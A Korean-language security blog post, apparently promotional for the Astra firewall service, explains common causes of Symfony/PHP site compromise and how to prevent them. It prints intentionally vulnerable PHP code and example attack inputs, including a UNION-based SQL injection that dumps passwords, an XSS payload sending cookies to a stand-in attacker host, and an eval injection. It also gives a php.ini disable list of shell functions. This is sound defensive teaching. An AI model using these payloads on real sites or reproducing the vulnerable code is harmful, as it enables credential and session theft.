Symfony는 사용자가 PHP 웹사이트와 웹 애플리케이션을 손쉽게 구축할 수 있도록 돕는 인기 있는 PHP 프레임워크입니다. 과거에는 Symfony 프레임워크의 취약점으로 인해 Drupal이 피해를 입은 사례가 있었고, 이것이 결국 Symfony 기반 웹사이트 해킹으로 이어지기도 했습니다. 이러한 취약점이 Symfony 프레임워크 자체의 문제인 경우도 있지만, 때로는 안전하지 않은 개발 습관이 PHP 웹사이트를 위험에 노출시키기도 합니다. 이 글에서는 Symfony 웹사이트가 해킹당하게 만드는 주요 취약점이 무엇인지, 그리고 이를 어떻게 예방할 수 있는지 자세히 알아보겠습니다.
Symfony가 널리 사랑받는 이유는 서로 분리(decouple)되어 있으면서 재사용 가능한 PHP 라이브러리 세트를 제공하기 때문입니다. 이러한 라이브러리들은 개발 속도를 높이고 전반적인 개발 과정을 한결 수월하게 만들어 줍니다. 하지만 Symfony 프레임워크를 사용한다고 해서 PHP 웹사이트가 저절로 안전해지는 것은 아닙니다. Contrast Security의 데이터에 따르면 상당수의 웹 애플리케이션이 여전히 치명적인 취약점에 노출되어 있습니다.
Symfony 웹사이트 해킹: 주요 증상
- 데이터베이스에 수상한 테이블이 생성되거나 시스템에 알 수 없는 사용자·파일이 발견된다면 Symfony SQL 인젝션(SQL Injection)의 징후일 수 있습니다.
- 수상한 도메인으로 리디렉션되는 팝업과 광고가 나타난다면 Symfony 원격 코드 실행(Remote Code Execution) 공격의 결과일 수 있습니다.
- 사용자가 본인의 확인 없이 계정이 삭제되거나 데이터가 조작되었다고 불만을 제기한다면 Symfony 크로스 사이트 요청 위조(CSRF) 때문일 가능성이 높습니다.
- 웹사이트에 의미를 알 수 없는 깨진 문자 콘텐츠가 표시된다면 Symfony 저장형 크로스 사이트 스크립팅(XSS)이 원인일 수 있습니다.
- Symfony 웹사이트가 해킹당하면 최악의 경우 검색 엔진이 방문자에게 해당 사이트 접속을 경고하는 상황까지 벌어질 수 있습니다.

Symfony 웹사이트 해킹의 원인
1. SQL 인젝션(SQL Injection)
Symfony SQL 인젝션은 주로 웹사이트의 데이터베이스를 표적으로 삼는 공격 유형입니다. 사용자 입력값에 대한 검증(sanitization)이 부족하면 사이트가 취약해지고, 결국 웹사이트 해킹으로 이어질 수 있습니다. 예를 들어 아래 코드를 살펴보겠습니다.
<?php
$query = "SELECT id, name, inserted, size FROM products WHERE size = '$size'";
$result = odbc_exec($conn, $query);
?>
언뜻 보면 단순히 SQL 쿼리를 실행하는 평범한 PHP 코드처럼 보이지만, 공격자는 SELECT 명령을 악용해 데이터베이스의 모든 비밀번호를 탈취할 수 있습니다. $size 변수에 입력될 값은 다음과 같은 형태일 수 있습니다.
'union select '1', concat(uname||'-'||passwd) as name, '1971-01-01', '0' from user;--
이 문장이 실행되면 user라는 테이블에 저장된 모든 비밀번호 목록이 그대로 노출됩니다. 문장 끝의 '--' 기호는 뒤에 오는 코드를 주석 처리해 오류를 회피하는 역할을 합니다. 이것은 극히 일부 예시에 불과하며, 공격자는 이를 다양한 방식으로 활용해 데이터베이스를 조작·편집하고 심지어 삭제할 수도 있습니다. 일부 해킹 사례에서는 SQL 인젝션을 통해 서버의 역방향 셸(reverse shell)까지 확보하기도 합니다.
2. 크로스 사이트 스크립팅(XSS)
XSS는 사용자 입력값 검증이 제대로 이루어지지 않아 발생하는 매우 흔한 취약점으로, 주로 검색창이나 게시판 등에서 발견됩니다. XSS로 해킹당한 Symfony 웹사이트는 공격자가 쿠키를 탈취해 세션을 가로채는 데 악용될 수 있습니다. 예를 들어, 다음과 같은 코드로 검색 쿼리를 조작하면 해당 링크를 클릭한 사람의 쿠키를 몰래 빼낼 수 있습니다.
"><SCRIPT>var+img=new+Image();img.src="https://hacker/"%20+%20document.cookie;</SCRIPT>
여기서 '>' 문자는 앞선 태그를 닫는 역할을 합니다. 이후 image() 생성자가 'img' 변수에 새 이미지 객체를 만들고, 다음 줄에서 이미지의 출처를 지정하면서 document.cookie 메서드로 쿠키를 가져와 세션 탈취에 사용합니다.
XSS가 저장형(stored) 또는 지속형(persistent)이라면 훨씬 더 위험합니다. 감염된 페이지를 열기만 해도 스크립트가 자동으로 쿠키를 탈취하기 때문입니다. 반면 반사형(reflected) XSS는 사회공학적 공격에 의존합니다. 쿠키 탈취뿐 아니라 XSS로 해킹당한 Symfony 웹사이트는 각종 피싱 공격의 교두보로도 악용될 수 있습니다.
해킹당한 Symfony 웹사이트 복구에 도움이 필요하신가요? 지금 바로 사이트를 정화하세요.
3. 크로스 사이트 요청 위조(CSRF)
CSRF는 공격자가 피해자로 하여금 계정 삭제, 사용자 데이터 조작 등 본인의 의도와 무관한 작업을 수행하도록 유도하는 공격입니다. 예를 들어 사용자가 사이트에 로그인한 상태에서 아래처럼 특수하게 조작된 페이지를 방문하면 계정이 삭제될 수 있습니다.

이 페이지는 action 값 중 'delete'를 이용해 사용자 계정을 삭제합니다. 공격자는 CSRF로 다양한 공격을 시도할 수 있지만, 공격이 성공적으로 실행되었는지 직접 확인할 방법은 없다는 점이 특징입니다.
4. 원격 코드 실행(Remote Code Execution)
원격 코드 실행은 낮은 코딩 표준으로 인해 Symfony 기반 웹사이트에서 발생합니다. 앞서 언급한 모든 공격에서 공통적으로 가장 큰 보안 문제는 바로 사용자 입력을 신뢰하는 것입니다. 예를 들어 PHP 코드에서 eval() 함수를 잘못 사용한 사례는 다음과 같습니다.
$myvar = "varname";
$x = $_GET['arg'];
eval("\$myvar = \$x;");
언뜻 보면 인자를 받아 eval 함수로 문자열을 PHP 코드로 실행하는 단순한 코드로 보입니다. 그러나 입력값이 필터링되지 않기 때문에 공격자는 /index.php?arg=1; phpinfo() 같은 값을 전달해 phpinfo() 함수를 실행시키는 등 임의의 코드 실행을 유도할 수 있습니다.
Symfony 웹사이트 보안을 위한 안전한 개발 습관
- SQL 인젝션 방지: Symfony 웹사이트에서는 반드시 prepared statement(준비된 문)를 사용해 쿼리를 작성하세요.
- XSS 방지: htmlspecialchars() 함수를 활용하세요. 사용자 입력값을 브라우저에 출력할 때마다 반드시 적용해야 합니다.
- CSRF 방지: 페이지마다 숨겨진 무작위 토큰을 포함시키세요.
<input type=”hidden” name=”csrf” value=”<?php echo $_SESSION[“token”]; ?>”> - RCE 방지: php.ini 파일에서 위험한 함수들을 비활성화하세요.
disable_functions = “show_source, system, shell_exec, passthru, exec, popen, proc_open, allow_url_fopen, eval” - 핵심 원칙: 대부분의 취약점은 Symfony 웹사이트에서 사용자 입력을 절대 신뢰하지 않는 것만으로도 예방할 수 있습니다.
- 정기 점검: 웹사이트에 숨어 있는 취약점이 의심된다면 전체 보안 감사(security audit)를 실시해 보세요.
Astra로 웹사이트 보안 강화하기
Astra의 머신러닝 기반 멀웨어 스캐너와 지능형 방화벽을 활용하면 웹사이트 보안을 한층 더 탄탄하게 강화할 수 있습니다. 유연한 요금제 덕분에 소규모 웹사이트도 부담 없는 가격에 이용할 수 있습니다. 지금 Astra 웹 보호 무료 체험을 시작해 보세요!